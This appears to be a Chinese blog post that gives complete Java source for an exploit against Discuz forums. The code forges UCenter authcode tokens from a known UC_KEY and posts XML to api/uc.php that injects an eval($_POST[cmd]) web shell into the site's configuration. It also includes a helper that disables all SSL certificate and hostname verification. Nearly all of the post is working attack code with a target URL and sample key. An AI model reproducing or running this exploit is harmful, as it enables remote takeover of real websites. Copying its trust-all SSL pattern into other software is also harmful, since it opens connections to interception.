java 实现Discuz UC_KEY GetShell
Discuz自身提供了一个函数_authcode,实现了自身的Encode和Decode。这里写了一段代码,基本翻译了Discuz的Encode部分。代码没什么难点,麻烦的是如果你用Java去实现Encode会发现里面有许多的坑。我写了俩php的函数microtime();和time();的实现。用Map替换了PHP的range函数,其次需要注意的是php的chr,chr返回的是Java里的byte(在这里被坑了好久...)。
附了一个忽略SSL安全证书验证的工具类,Base64用了apache的commons-codec-1.5.jar,IO操作用了apache的commons-io-2.2.jar。
DZ.java:
import java.io.ByteArrayOutputStream;
import java.io.UnsupportedEncodingException;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLEncoder;
import java.util.ArrayList;
import java.util.LinkedHashMap;
import java.util.List;
import java.util.Map;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.codec.digest.DigestUtils;
import org.apache.commons.io.IOUtils;
public class DZ {
/**
* 模拟PHP的microtime函数
* @return
*/
public static String microtime(){
String a = String.valueOf(System.nanoTime());
return "0."+a.substring(10,a.length()-1)+" "+a.substring(0,10);
}
/**
* 拼byte数组
* @param b
* @return
*/
protected static byte[] toByteArray(Byte[] b) {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
for (byte bs : b) {
bos.write(bs);
}
return bos.toByteArray();
}
/**
* Discuz 授权 Encode
* @param $string
* @param ucKey
* @return
*/
public static String auth(String $string,String ucKey){
int $ckey_length = 4;
String $key = DigestUtils.md5Hex(ucKey);
String $keya = DigestUtils.md5Hex($key.substring(0,16));
String $keyb = DigestUtils.md5Hex($key.substring(16,32));
String microtime = DigestUtils.md5Hex(microtime());
String $keyc = microtime.substring(microtime.length()-$ckey_length,microtime.length());
String $cryptkey = $keya+DigestUtils.md5Hex($keya+$keyc);
String sb = DigestUtils.md5Hex($string+$keyb).substring(0,16);
$string = String.format("%010d", 0 )+sb+$string;
int $string_length = $string.length();
Map<Integer,Integer> box = new LinkedHashMap<Integer, Integer>();
for (int i = 0; i <= 255; i++) {
box.put(i, i);
}
List<Integer> ls = new ArrayList<Integer>();
char[] $cryptkeyArray = $cryptkey.toCharArray();
int r = 0;
for (int i = 0; i <= 255; i++) {
r = r==$cryptkeyArray.length?0:r;
ls.add((int)$cryptkeyArray[r]);
r ++;
}
int p = 0;
for(int i= 0; i < 256; i++) {
int $tmp = (Integer)box.get(i);
p = (p+$tmp + ls.get(i)) % 256;
box.put(i, box.get(p));
box.put(p, $tmp);
}
List<Byte> bs = new ArrayList<Byte>();
char[] $stringArray = $string.toCharArray();
int a=0,j=0;
for(int i = 0; i < $string_length; i++) {
a = (a + 1) % 256;
j = (j + box.get(a)) % 256;
int $tmp = box.get(a);
box.put(a, box.get(j));
box.put(j, $tmp);
int s = ((int)$stringArray[i] ^ box.get((box.get(a) + box.get(j)) % 256));
bs.add((byte)s);
}
byte[] bb = toByteArray(bs.toArray(new Byte[bs.size()]));
return $keyc+(Base64.encodeBase64String(bb).replace("=", ""));
}
/**
* 模拟PHP的time函数
* @return
*/
public static String time(){
return String.valueOf(System.currentTimeMillis()).substring(0,10);
}
/**
* 发送POST请求
* @param $cmd
* @param $url
* @param timeOut
* @return
*/
public static String send(String $cmd,String $url,int timeOut){
try {
URL u = new URL($url);
//忽略HTTPS请求证书验证
if("https".equalsIgnoreCase(u.getProtocol())){
SslUtils.ignoreSsl();
}
URLConnection conn = u.openConnection();
conn.setConnectTimeout(timeOut);
conn.setReadTimeout(timeOut);
conn.setDoOutput(true);
conn.setDoInput(true);
conn.getOutputStream().write($cmd.getBytes());
return IOUtils.toString(conn.getInputStream(),"UTF-8");
} catch (Exception e) {
e.printStackTrace();
}
return $url;
}
public static void main(String[] args) {
String $url = "http://192.168.199.230/api/uc.php?code=";//URL 地址
String ucKey = "re67v405CbJ0A5G8Wck6y7d552x1NcY0L1U6O340v2c7P4ecb6m2P611YdZ2A8De";//UC KEY
String timestamp = String.valueOf(Long.parseLong(time())+10*3600);
try {
String $code = URLEncoder.encode(auth("time="+timestamp+"&action=updateapps", ucKey),"UTF-8");
String $cmd1="<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?><root><item id=\"UC_API\">xxx\');eval($_POST[cmd]);//</item></root>";
String $cmd2="<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?><root><item id=\"UC_API\">aaa</item></root>";
String $html1 = send($cmd1, $url+$code, 5000);
System.out.println($html1);
String $html2 = send($cmd2, $url+$code, 5000);
System.out.println($html2);
} catch (UnsupportedEncodingException e) {
e.printStackTrace();
}
}
}
SslUtils.java:
import java.security.cert.CertificateException;
import java.security.cert.X509Certificate;
import javax.net.ssl.HostnameVerifier;
import javax.net.ssl.HttpsURLConnection;
import javax.net.ssl.SSLContext;
import javax.net.ssl.SSLSession;
import javax.net.ssl.TrustManager;
import javax.net.ssl.X509TrustManager;
public class SslUtils {
private static void trustAllHttpsCertificates() throws Exception {
TrustManager[] trustAllCerts = new TrustManager[1];
TrustManager tm = new miTM();
trustAllCerts[0] = tm;
SSLContext sc = SSLContext.getInstance("SSL");
sc.init(null, trustAllCerts, null);
HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
}
static class miTM implements TrustManager,X509TrustManager {
public X509Certificate[] getAcceptedIssuers() {
return null;
}
public boolean isServerTrusted(X509Certificate[] certs) {
return true;
}
public boolean isClientTrusted(X509Certificate[] certs) {
return true;
}
public void checkServerTrusted(X509Certificate[] certs, String authType)
throws CertificateException {
return;
}
public void checkClientTrusted(X509Certificate[] certs, String authType)
throws CertificateException {
return;
}
}
/**
* 忽略HTTPS请求的SSL证书,必须在openConnection之前调用
* @throws Exception
*/
public static void ignoreSsl() throws Exception{
HostnameVerifier hv = new HostnameVerifier() {
public boolean verify(String urlHostName, SSLSession session) {
System.out.println("Warning: URL Host: " + urlHostName + " vs. " + session.getPeerHost());
return true;
}
};
trustAllHttpsCertificates();
HttpsURLConnection.setDefaultHostnameVerifier(hv);
}
}